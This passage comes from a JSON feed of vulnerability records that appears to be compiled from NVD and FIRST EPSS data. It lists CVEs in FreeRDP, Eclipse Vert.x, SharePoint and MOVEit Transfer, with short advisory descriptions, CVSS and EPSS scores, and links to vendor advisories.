2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110832","cveId":"CVE-2026-110832","aliases":[],"kind":"vulnerability","title":"FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large...","summary":"FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large memory allocations. Attackers can send a seven-byte DATA_FIRST message on an opened DVC declaring a large 32-bit length, causing zeroed resident memory growth and server resource exhaustion.","detail":"FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large memory allocations. Attackers can send a seven-byte DATA_FIRST message on an opened DVC declaring a large 32-bit length, causing zeroed resident memory growth and server resource exhaustion.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:23.023Z","updatedAt":"2026-10-23T20:24:59.093Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110832","asOf":"2026-10-23T20:24:59.093Z"},"epss":{"probability":0.00314,"percentile":0.2407,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110832","type":"primary","publishedAt":"2026-10-14T23:17:23.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5cgr-vmp8-fmvj","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110830","cveId":"CVE-2026-110830","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors.","summary":"FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors. Attackers can send repeated serial IRP_MJ_CREATE requests to accumulate descriptors and terminate the client at the CommReadFile FD_SETSIZE assertion.","detail":"FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors. Attackers can send repeated serial IRP_MJ_CREATE requests to accumulate descriptors and terminate the client at the CommReadFile FD_SETSIZE assertion.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:22.737Z","updatedAt":"2026-10-23T20:23:29.300Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110830","asOf":"2026-10-23T20:23:29.300Z"},"epss":{"probability":0.00319,"percentile":0.24626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110830","type":"primary","publishedAt":"2026-10-14T23:17:22.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-mqxv-c882-m8w9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110829","cveId":"CVE-2026-110829","aliases":[],"kind":"vulnerability","title":"FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST.","summary":"FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST. A malicious RDP server can send a malformed rdpsnd PDU on a fresh channel to crash the client and cause denial of service.","detail":"FreeRDP versions from 3.0.0 before 3.32.0 contain a null pointer dereference in the rdpsnd channel when a fragment sets CHANNEL_FLAG_LAST without CHANNEL_FLAG_FIRST. A malicious RDP server can send a malformed rdpsnd PDU on a fresh channel to crash the client and cause denial of service.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:22.597Z","updatedAt":"2026-10-23T20:15:20.963Z","regions":["Global"],"vendor":"freerdp","product":"freerdp","stacks":["FreeRDP","freerdp"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110829","asOf":"2026-10-23T20:15:20.963Z"},"epss":{"probability":0.00312,"percentile":0.23805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110829","type":"primary","publishedAt":"2026-10-14T23:17:22.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-3mq5-xh88-9v62","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102479","cveId":"CVE-2026-102479","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization...","summary":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization process interprets well crafted headers as headers of this list, allowing for instance Content-Xength to be interpeted as Content-Length.\n\n\n\nThis can be exploited for request smuggling purpose.\n\n\n\nThe impacted component is io.vertx:vertx-core.","detail":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP/1.x decoder uses a canonicalization for well known HTTP headers, the canonicalization process interprets well crafted headers as headers of this list, allowing for instance Content-Xength to be interpeted as Content-Length.\n\n\n\nThis can be exploited for request smuggling purpose.\n\n\n\nThe impacted component is io.vertx:vertx-core.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:05.313Z","updatedAt":"2026-10-20T19:31:59.240Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102479","asOf":"2026-10-20T19:31:59.240Z"},"epss":{"probability":0.0027,"percentile":0.18958,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102479","type":"primary","publishedAt":"2026-10-14T19:17:05.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-ch7p-g5pm-3gqx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102460","cveId":"CVE-2026-102460","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when...","summary":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when used with scope-requiring authentication handlers such as JWTAuthHandler or OAuth2AuthHandler. When a user is already authenticated on the routing context by a preceding handler in the request pipeline, ChainAuthHandler skips all scope validation configured via withScope() or withScopes(). This affects both any() and all() chain modes.\n\n\n\nThe root cause is that postAuthentication() relies on internal state that is only set during the authenticate() phase, which is skipped entirely for pre-authenticated users. In any() mode, the absence of this state causes the method to fall through without delegating scope checks to any handler. In all() mode, scope checks are unconditionally skipped.\n\n\n\nThis allows a user with a valid token but insufficient scopes to access resources protected by scope requirements, provided they were authenticated by an earlier handler in the pipeline. The most common trigger is overlapping authentication handlers on nested routes, where a parent route authenticates broadly and a child route uses a chain to enforce specific scopes.\n\n\n\nThe impacted component Maven coordinate is io.vertx:vertx-web","detail":"In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a scope bypass vulnerability exists in Eclipse Vert.x Web's ChainAuthHandler when used with scope-requiring authentication handlers such as JWTAuthHandler or OAuth2AuthHandler. When a user is already authenticated on the routing context by a preceding handler in the request pipeline, ChainAuthHandler skips all scope validation configured via withScope() or withScopes(). This affects both any() and all() chain modes.\n\n\n\nThe root cause is that postAuthentication() relies on internal state that is only set during the authenticate() phase, which is skipped entirely for pre-authenticated users. In any() mode, the absence of this state causes the method to fall through without delegating scope checks to any handler. In all() mode, scope checks are unconditionally skipped.\n\n\n\nThis allows a user with a valid token but insufficient scopes to access resources protected by scope requirements, provided they were authenticated by an earlier handler in the pipeline. The most common trigger is overlapping authentication handlers on nested routes, where a parent route authenticates broadly and a child route uses a chain to enforce specific scopes.\n\n\n\nThe impacted component Maven coordinate is io.vertx:vertx-web\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:05.050Z","updatedAt":"2026-10-20T18:19:05.937Z","regions":["Global"],"vendor":"eclipse","product":"vert.x","stacks":["Eclipse","vert.x"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102460","asOf":"2026-10-20T18:19:05.937Z"},"epss":{"probability":0.00272,"percentile":0.19422,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102460","type":"primary","publishedAt":"2026-10-14T19:17:05.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vert-x3/vertx-web/security/advisories/GHSA-2p39-cr56-w58j","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88164","cveId":"CVE-2026-88164","aliases":[],"kind":"vulnerability","title":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:30.300Z","updatedAt":"2026-10-20T16:26:06.143Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88164","asOf":"2026-10-20T16:26:06.143Z"},"epss":{"probability":0.00839,"percentile":0.57543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88164","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88164","type":"primary","publishedAt":"2026-10-14T18:19:30.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88164","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88164, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89077","cveId":"CVE-2026-89077","aliases":[],"kind":"vulnerability","title":"Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).","summary":"Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Incorrect implementation of authentication algorithm vulnerability in Progress MOVEit Transfer (SFTP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.080Z","updatedAt":"2026-10-19T12:09:37.430Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89077","asOf":"2026-10-19T12:09:37.430Z"},"epss":{"probability":0.00463,"percentile":0.39855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89077","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89077","type":"primary","publishedAt":"2026-10-14T16:17:56.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89076","cveId":"CVE-2026-89076","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).","summary":"Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Progress MOVEit Transfer (Custom Reports module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.967Z","updatedAt":"2026-10-19T12:13:14.830Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89076","asOf":"2026-10-19T12:13:14.830Z"},"epss":{"probability":0.00519,"percentile":0.43812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89076","type":"primary","publishedAt":"2026-10-14T16:17:55.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89075","cveId":"CVE-2026-89075","aliases":[],"kind":"vulnerability","title":"Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.","summary":"Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Insecure Storage of Sensitive Information vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.853Z","updatedAt":"2026-10-19T12:13:41.437Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89075","asOf":"2026-10-19T12:13:41.437Z"},"epss":{"probability":0.0018,"percentile":0.07482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89075","type":"primary","publishedAt":"2026-10-14T16:17:55.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89075, scored 